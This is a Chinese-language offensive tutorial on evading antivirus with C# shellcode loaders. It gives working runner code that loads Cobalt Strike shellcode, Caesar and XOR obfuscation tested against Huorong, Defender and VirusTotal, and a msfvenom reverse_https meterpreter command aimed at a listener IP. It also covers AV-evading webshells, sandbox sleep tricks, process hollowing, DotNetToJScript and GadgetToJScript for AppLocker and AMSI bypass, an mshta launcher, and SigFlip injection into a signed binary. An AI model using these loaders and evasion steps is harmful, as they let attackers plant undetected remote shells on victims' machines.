Shellcode Bypass AV
0x01.Make a shellcode runner
本文用c#来完成实现shellcode runner,首先要知道如何使用c#调用windows API,C#调用win32 API一般使用P/Invoke的方法在DLL中使用win32api
比如实现一个简单的messagebox功能,要先把c的数据类型转换为c#的数据类型,完整代码如下
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption,
int options);
static void Main(string[] args)
{
MessageBox(IntPtr.Zero, "This is a messagebox", "This is my caption", 0);
}
}
}
实现shellcode加载器的话,首先需要三个windows API函数VirtualAlloc(主要用来实现调用进程的虚地址空间)
CreateThread(创建线程函数)
WaitForSingleObject (等待线程结束后再执行其他)具体原因后文会说
使用使用P/Invoke的方法在DLL中加入这三个windows API,然后用cobaltstrike生成c#的shellcode
shellcode runner完整代码如下
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ShellcodeRunner
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
static void Main(string[] args)
{
/* length: 894 bytes */
byte[] buf = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0...............};
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);//让程序执行完毕shellcode后再结束
}
}
}
火绒测试一下,meterpreter的特征
测试下程序运行,没有问题可以直接上线CS
0x02.Encoded Shellcode
Caesar加密
尝试使用Caesar加密方式来绕过Av,整个shellcode右移5
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 5) & 0xFF);
}
输出的生成的shellcode,此时shellcode已经被改变过了,那么再做一步解密的操作
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 5) & 0xFF);
}
下面再改成左移5,然后编译shellcodeRunner,火绒再次报毒meterpreter的特征
XOR加密
凯撒密码的加密方式过于简单,尝试使用XOR加密的方式加密shellcode
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
完整代码如下
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace XorShellcodeRunner
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
static void Main(string[] args)
{
//上面是加密过的shellcode
byte[] buf = new byte[894] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x32, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa,
};
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
Cobaltstrike 上线没有问题
文件上传到VT上测试一下,18/64个给标记了,所以说简单的加密shellcode也是可以起到一定静态免杀的效果
0x03.通过Encode shellcode 免杀webshell
场景1:
上传冰蝎马,马页面存在,但是webshell连接不上,上传天蝎马也连不上,然后上传普通的aspx小马,发现页面存在杀软,被拦截,考虑直接上传加载cobaltstrike shellcode的aspx免杀马上线
场景2:
域内机器上面有杀软nod32,冰蝎原生没改的webshell被杀
先用Msf制作一个aspx的加载器
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.106 LPORT=443 -f aspx -o meterpreter.aspx
我们把中间的shellcode替换成cobaltstrike的
导入VirtualAllocExNuma 和 GetCurrentProces的DllImport
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,
ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
解密上面加密过的shellcode
完成修改过的直接上线cs的webshell 测试上线
0x04.时间判断
如果在程序中加入一个延时效果,是否能够绕过Av的动态检测
首先加入sleep API
[DllImport("kernel32.dll")] static extern void Sleep(uint dwMilliseconds);
Sleep 代码片段
加入sleep主要是对动态如沙盒的一个测试,保证沙盒运行的时候,如果没有按照我们的时间运行就退出,停止运行shellcode,不过本身的特征还是存在
生成exe后反编译测试,或者使用调试16进制编辑器查看,还是可以看到明显特征
通用sharp工具混淆免杀
对sharp代码进行混淆,成功Bypass
使用windows defender静态扫描测试
defender动态扫描不会超过15s,如果延时超过15s可以一定程度上绕过windows defender
在实战中,用以下的方法会更好些,sleep只是为了演示,GetTickCount、GetSystemTime、GetSystemTimeAsFileTime、QueryPerformanceCounter、timeGetTime
0x05.进程镂空
常规做进程注入的时候会选择使用explorer.exe或者是notepad.exe的进程。常规迁移进程的时候也可以选择svchost.exe进程,这个进程一般都会有外连的行为(网络活动进程)
svchost进程一般是system权限运行,所以低权限无法注入到高权限进程中,所以可以选择启动svchost进程然后修改进程,再执行我们的恶意shellcode,让程序在没有结束的时候上线
听起来比较复杂,可以直接看图
1.创建新的虚拟内存空间
2.给线程TEB和进程PEB分配堆栈
3.把exe或者是dll文件加载到内存中
首先需要一个创建进程的api,CreateProcess
360的云查杀在一段时间后会把马杀掉,但是notepad.exe的进程还在,meterpreter起一个交互式shell
可以看到notepad.exe也启动了一个cmd.exe
0x06.DoNetToJscript
场景1:
govdefender 会拦截上传的任意exe和dll,此时可以通过上传js文件上线,或者使用机器自带的csc文件把文件编译成exe再执行即可,或者reg rundll32 dump密码
场景2:
绕过Applocker
https://github.com/tyranid/DotNetToJScript
把代码放到DotNetToJscript中
完整代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[798] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...... };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4,v2 -o runner.js
编译生成js代码
然后通过wscript runner.js 或者cscript 执行即可上线
简单来看这几个函数都是什么意思,setversion 函数将 Windows 脚本宿主配置为使 用.NET 框架的 4.0.30319 版本或者是2.0.50727版本,这样常见的windows服务器会带这样的.net框架
然后function debug(s)这个地方空的是因为上面没运行的适合没指定debug模式
最后,base64ToStream 函数是一个 Base64 解码函数,它通过 ActiveXObject 实例化利用各种.NET 类
常用使用这种方法生成的js文件特征都比较明显,可以通过Js的代码混淆来绕过Av
比较好用的js加密网站
https://www.jsjiami.com/javascriptobfuscator.html
http://pr.chinaz.com/js.aspx
混淆后的代码一样可以上线
0x07.GadgetToJscript
GadgetToJScrip能够将.Net程序封装在js或vbs脚本中,相比于James Forshaw开源的DotNetToJScript,修改了反序列化调用链,能够绕过AMSI,添加了绕过.Net 4.8+阻止Assembly.Load的功能
https://3gstudent.github.io/GadgetToJScript%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90
- 执行TestAssemblyLoader.cs,将字符串形式的Payload进行动态编译,编译结果保存在内存(results.CompiledAssembly)中
- 执行_ASurrogateGadgetGenerator.cs,读取1中的内存并实现.Net程序的调用
- 执行_DisableTypeCheckGadgetGenerator.cs,实现绕过.Net 4.8+阻止Assembly.Load的功能
- 执行Program.cs,替换模板文件的两个变量,计算长度,生成最终的js、vbs和hta脚本
通过wscript 上线cobaltstrike
0x08.MSHTA Bypass AV
在某些具体攻防场景中,可以直接使用mshta的上线方法,比如使用无回显可出网命令执行的情况,可以使用如下方法,mshta的具体免杀效果取决于js的免杀效果,在本文上一节,已经把木马转换成js,并且加密,所以mshta的效果也比较好
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
替换上面的jscript内容即可
把马的js替换
0x09.D/Invoke
使用 C# 中的非托管代码,同时避免可疑的 P/Invoke。您可以使用动态调用( DInvoke)在运行时加载 DLL 并使用指向其在内存中的位置的指针调用该函数,而不是使用 PInvoke 静态导入 API 调用。您可以从内存中调用任意非托管代码(同时传递参数),允许您以多种方式绕过 API hooking并反射性地执行后利用有效负载。这也避免了通过 .NET 程序集的 PE 标头中的导入地址表查找可疑 API 调用导入的检测。
利用D/Invoke 结合gadgettojscript 绕过API hooking
https://rastamouse.me/d-invoke-gadgettojscript/
0x10.微软签名注入shellcode
shell C:\Users\Administrator\Desktop\Tools\shellcode\SigFlip.exe -i C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -s C:\Windows\Temp\payload.bin -o C:\Windows\Temp\MSbuild.exe -e 778899
execute-assembly /root/桌面/CobaltStike4.2_Cacker/sharp/SigLoader.exe -f C:\Windows\Temp\MSBuild.exe -e 778899 -pid 2536
0x11 Syscall调用shellcode
https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
一般API调用通过ntdll进行导出函数,ntdll进行syscall进内核操作
SysWhispers
https://github.com/jthuraisamy/SysWhispersHellsGate
(地狱之门动态解析系统调用号)
0x12 callback
回调函数sharp demo
https://github.com/DamonMohammadbagher/NativePayload_CBT
0x11开源工具自动化免杀
使用开源工具https://github.com/aniqfakhrul/Sharperner
利用Sharperner免杀绕过
.\Sharperner_portable.exe /file:loader.bin